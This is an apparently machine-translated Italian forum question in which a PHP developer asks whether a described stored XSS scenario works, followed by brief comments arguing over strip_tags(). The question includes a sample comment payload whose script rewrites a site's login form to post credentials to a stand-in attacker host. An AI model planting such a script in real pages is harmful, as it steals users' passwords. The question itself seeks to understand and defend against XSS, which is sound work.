Sono uno sviluppatore PHP e sto cercando di migliorare la sicurezza dei miei siti.È l'input dell'utente di HTML con Javascript che viene mostrato agli altri ma non a HTML-escape di un esempio di XSS
Da quello che ho capito i seguenti sono due principali tipi di vulnerabilità che colpiscono le applicazioni web:
- SQL Injection
- XSS
SQL Injection può essere fissato con le istruzioni preparate - facile.
Ma ancora non capisco proprio XSS -? È il seguente un esempio di XSS ...
- pagina piena di contenuti user-made ha un modulo di login in alto (a livello di sito) .
- L'input dell'utente alla pagina non è in formato HTML.
- un utente inserisce il seguente contenuto (ad esempio un commento) alla pagina ...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- un utente innocente arriva alla pagina, lo script viene eseguito.
- L'utente innocente si rende conto di non aver effettuato l'accesso e di inserire i relativi dettagli nel modulo.
- I dettagli dell'utente vengono inviati a
http://somehackysite.com/givemyourpw.php
e quindi i dettagli dell'account dell'utente vengono rubati.
Così ho davvero hanno tre domande qui:
- Sarebbe questo lavoro?
- È questo XSS?
- Ci sono delle precauzioni che gli sviluppatori dovrebbero prendere contro l'XSS se non l'escape dell'HTML?
1) Sì. 2) Sì. 3) Sì. ['strip_tags()'] (http://php.net/manual/en/function.strip-tags.php) è un buon inizio. – DaveRandom
@DaveRandom 3) No, strip_tags è malvagio, non usarlo mai. MAI! – NikiC
@ NikiC perché è malvagio? –